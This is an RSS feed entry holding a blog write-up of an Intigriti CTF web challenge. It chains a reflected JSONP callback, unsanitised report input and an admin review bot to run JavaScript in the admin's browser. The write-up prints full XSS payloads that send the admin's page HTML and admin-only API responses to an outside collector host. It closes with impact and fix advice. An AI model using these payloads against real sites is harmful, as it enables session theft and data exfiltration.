<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Skin Security]]></title><description><![CDATA[Skin Security]]></description><link>https://skin-security.hashnode.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1593680282896/kNC7E8IR4.png</url><title>Skin Security</title><link>https://skin-security.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Wed, 16 Sep 2026 03:17:35 GMT</lastBuildDate><atom:link href="https://skin-security.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Bad Reception — Intigriti August 2026 CTF Writeup]]></title><description><![CDATA[First Look
The challenge drops you on a page with a retro TV showing static noise, channel buttons 1–10, a volume knob, and a report button in the corner. The hint is right there in the subtitle: "Mak]]></description><link>https://skin-security.hashnode.dev/bad-reception-intigriti-august-2026-ctf-writeup</link><guid isPermaLink="true">https://skin-security.hashnode.dev/bad-reception-intigriti-august-2026-ctf-writeup</guid><category><![CDATA[XSS]]></category><category><![CDATA[CTF]]></category><category><![CDATA[intigriti]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[Web Security]]></category><dc:creator><![CDATA[Abdul Rehman]]></dc:creator><pubDate>Sat, 29 Aug 2026 02:57:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a923c272b0ccc75f0a47c95/f64cdcb4-b300-4577-bcad-5b87956c7625.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>First Look</h2>
<p>The challenge drops you on a page with a retro TV showing static noise, channel buttons 1–10, a volume knob, and a report button in the corner. The hint is right there in the subtitle: <em>"Make the TV work to capture the flag."</em></p>
<p>I started where I always start — reading the page source and mapping the API surface. The JS was inline, not bundled, so it was easy to read. Two endpoints stood out immediately:</p>
<pre><code class="language-plaintext">GET  /api/channels/{n}/load   → returns a filename to load as video
POST /api/report              → submits a "bad reception" report
GET  /api/jsonp               → ???
</code></pre>
<p>That third one looked interesting. I didn't see it referenced anywhere in the frontend code.</p>
<p>That third one looked interesting. I didn't see it referenced anywhere in the frontend code.</p>
<hr />
<h2>Step 1 — The JSONP Endpoint</h2>
<p>Hitting it directly:</p>
<pre><code class="language-http">GET /api/jsonp HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=&lt;your_session&gt;
</code></pre>
<pre><code class="language-plaintext">/**/ ({"channels": 10});
</code></pre>
<p>Adding a callback parameter:</p>
<pre><code class="language-http">GET /api/jsonp?callback=alert HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=&lt;your_session&gt;
</code></pre>
<pre><code class="language-plaintext">/**/ alert({"channels": 10});
</code></pre>
<p>Whatever you pass as <code>callback</code> comes back reflected as executable JavaScript, with <code>Content-Type: application/javascript</code>. Classic unsanitized JSONP — anything goes here.</p>
<hr />
<h2>Step 2 — Weak Validation on the Report Endpoint</h2>
<p>The report button in the UI sends whatever channel is currently selected as <code>channelId</code>. Looking at the source, the only server-side validation was that the value had to start with a digit. I tested it:</p>
<pre><code class="language-http">POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=&lt;your_session&gt;
Content-Type: application/x-www-form-urlencoded

channelId=1&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
<pre><code class="language-json">{"id": "random-id", "status": "queued"}
</code></pre>
<p>No sanitization. HTML tags stored as-is. The <code>status: queued</code> part was the real signal — something is <em>reviewing</em> these reports.</p>
<hr />
<h2>Step 3 — Confirming the Admin Bot</h2>
<p>I submitted a simple <code>&lt;img src&gt;</code> pointing to my server:</p>
<pre><code class="language-http">POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=&lt;your_session&gt;
Content-Type: application/x-www-form-urlencoded

channelId=1&lt;img src="&lt;attacker-url&gt;/hello"&gt;
</code></pre>
<p>A few minutes later, this showed up on my server:</p>
<pre><code class="language-plaintext">GET /hello HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 
            (KHTML, like Gecko) HeadlessChrome/129.0.6668.29 Safari/537.36
Referer: http://web/
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a923c272b0ccc75f0a47c95/125b40ca-a531-4e51-b5ba-5178691486e8.png" alt="" style="display:block;margin:0 auto" />

<p>Real headless Chrome. Real admin bot. Internal panel at <a href="http://web/"><code>http://web/</code></a>. The <code>&lt;img&gt;</code> tag survived and fired — injection point confirmed.</p>
<hr />
<h2>Step 4 — Dumping the Admin Page HTML</h2>
<p>Now I needed to understand what the admin panel actually looked like. I chained the JSONP endpoint as the script source — loading <code>/api/jsonp?callback=PAYLOAD</code> as a <code>&lt;script src&gt;</code> means the server returns our payload as executable JavaScript. The admin's own page constructs the <code>&lt;script&gt;</code> tag from the reported URL fragment, so the browser executes it without any innerHTML restriction.</p>
<pre><code class="language-http">POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=&lt;your_session&gt;
Content-Type: application/x-www-form-urlencoded

channelId=1%3Cscript+src%3D%22%2Fapi%2Fjsonp%3Fcallback%3Dfetch%28%27http%253A%252F%252F&lt;attacker-url&gt;%252Fdump%253Fd%253D%27%252BencodeURIComponent%28document.documentElement.outerHTML.substring%280%252C1500%29%29%29%253B%252F%252F%22%3E%3C%2Fscript%3E
</code></pre>
<p>Decoded Payload:</p>
<pre><code class="language-plaintext">channelId=1&lt;script src="/api/jsonp?callback=fetch('http%3A%2F%2F&lt;attacker-url&gt;%2Fdump%3Fd%3D'%2BencodeURIComponent(document.documentElement.outerHTML.substring(0%2C1500)))%3B%2F%2F"&gt;&lt;/script&gt;
</code></pre>
<p>The <code>/dump</code> hit came in with this in the query string:</p>
<pre><code class="language-html">&lt;title&gt;Signal Monitor — report review&lt;/title&gt;
&lt;h1&gt;Signal Monitor&lt;/h1&gt;
&lt;p&gt;Reviewing report &lt;code&gt;17f689c9f2f4297e&lt;/code&gt;. 
   A viewer reported bad reception on:&lt;/p&gt;
&lt;blockquote class="reported"&gt;
  https://challenge-0826.challenges.intigriti.io/challenge#1
  &lt;script src="/api/jsonp?callback=..."&gt;&lt;/script&gt;
&lt;/blockquote&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a923c272b0ccc75f0a47c95/9d79b17f-e260-44bf-89ce-4799ae1ea845.png" alt="" style="display:block;margin:0 auto" />

<p>The admin panel takes the reported URL and renders it raw inside a <code>&lt;blockquote&gt;</code>. Our <code>channelId</code> ends up in the URL fragment (<code>#1&lt;script...&gt;</code>), and the admin's own template embeds it as HTML — that's why the script executes. The JSONP endpoint returns our callback as JavaScript and it runs in the admin's context.</p>
<hr />
<h2>Step 5 — Fetching Hidden Channels via Admin's Session</h2>
<p>Normal users can only access channels 1–10. The admin can access more. I used the admin's execution context to fetch the range beyond 10:</p>
<pre><code class="language-http">POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=&lt;your_session&gt;
Content-Type: application/x-www-form-urlencoded

channelId=1%3Cscript+src%3D%22%2Fapi%2Fjsonp%3Fcallback%3D%28async%28%29%253D%253E%257Blet%2520r%253D%27%27%253Bfor%28let%2520n%253D11%253Bn%253C%253D20%253Bn%252B%252B%29%257Bconst%2520res%253Dawait%2520fetch%28%27%252Fapi%252Fchannels%252F%27%252Bn%252B%27%252Fload%27%252C%257Bcredentials%253A%27same-origin%27%257D%29%253Br%252B%253Dn%252B%27%253A%27%252Bres.status%252B%27%253A%27%252B%28await%2520res.text%28%29%29%252B%27%257C%27%253B%257Dfetch%28%27http%253A%252F%252Fsx4tmjtu.requestrepo.com%252Fchannels%253Fd%253D%27%252BencodeURIComponent%28r%29%29%257D%29%28%29%253B%252F%252F%22%3E%3C%2Fscript%3E
</code></pre>
<p>Decoded Payload:</p>
<pre><code class="language-plaintext">channelId=1&lt;script src="/api/jsonp?callback=(async()%3D%3E%7Blet%20r%3D''%3Bfor(let%20n%3D11%3Bn%3C%3D20%3Bn%2B%2B)%7Bconst%20res%3Dawait%20fetch('%2Fapi%2Fchannels%2F'%2Bn%2B'%2Fload'%2C%7Bcredentials%3A'same-origin'%7D)%3Br%2B%3Dn%2B'%3A'%2Bres.status%2B'%3A'%2B(await%20res.text())%2B'%7C'%3B%7Dfetch('http%3A%2F%2Fsx4tmjtu.requestrepo.com%2Fchannels%3Fd%3D'%2BencodeURIComponent(r))%7D)()%3B%2F%2F"&gt;&lt;/script&gt;
</code></pre>
<p>Response received on my server:</p>
<pre><code class="language-plaintext">11:200:3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4
12:403:channel not available
13:403:channel not available
...
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a923c272b0ccc75f0a47c95/1ea94fec-d03e-412d-a868-e2d31dca5842.png" alt="" style="display:block;margin:0 auto" />

<p>Channel 11 exists and the admin can load it.</p>
<hr />
<h2>Step 6 — Loading the Hidden Channel</h2>
<pre><code class="language-plaintext">https://challenge-0826.challenges.intigriti.io/static/streams/3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a923c272b0ccc75f0a47c95/bdf215f2-4e07-40e5-9bde-5a2c4e0cd30c.png" alt="" style="display:block;margin:0 auto" />

<p>The flag was displayed directly on the TV screen in the video.</p>
<hr />
<h2>Flag</h2>
<pre><code class="language-plaintext">INTIGRITI{019ff176-bc01-7543-9e81-46e417c8b39b}
</code></pre>
<hr />
<h2>Why It Works</h2>
<p>The attack chain has three parts that each seem fine alone but together create a full exploit:</p>
<ol>
<li><p><code>/api/jsonp</code> reflects <code>callback</code> into JavaScript — harmless if nobody loads it as a <code>&lt;script&gt;</code></p>
</li>
<li><p><code>/api/report</code> stores <code>channelId</code> without sanitization — dangerous only if something renders it</p>
</li>
<li><p>The admin panel renders the reported URL as raw HTML inside a <code>&lt;blockquote&gt;</code> — this is the sink that connects the other two</p>
</li>
</ol>
<p>None of the three is catastrophic alone. Together they give unauthenticated JS execution in an admin browser.</p>
<hr />
<h2>Impact</h2>
<p>Any unauthenticated user can execute arbitrary JavaScript in the admin's browser by submitting a single report. From there they can read admin-only API responses, exfiltrate session data, or access any restricted resource the admin can reach — all without any credentials.</p>
<hr />
<h2>Fix</h2>
<ul>
<li><p>Strip or escape HTML from <code>channelId</code> before storing it</p>
</li>
<li><p>Restrict <code>/api/jsonp?callback=</code> to valid JS identifiers only (<code>/^[a-zA-Z_$][a-zA-Z0-9_$]*$/</code>)</p>
</li>
<li><p>Never render user-submitted content as raw HTML in an admin interface</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>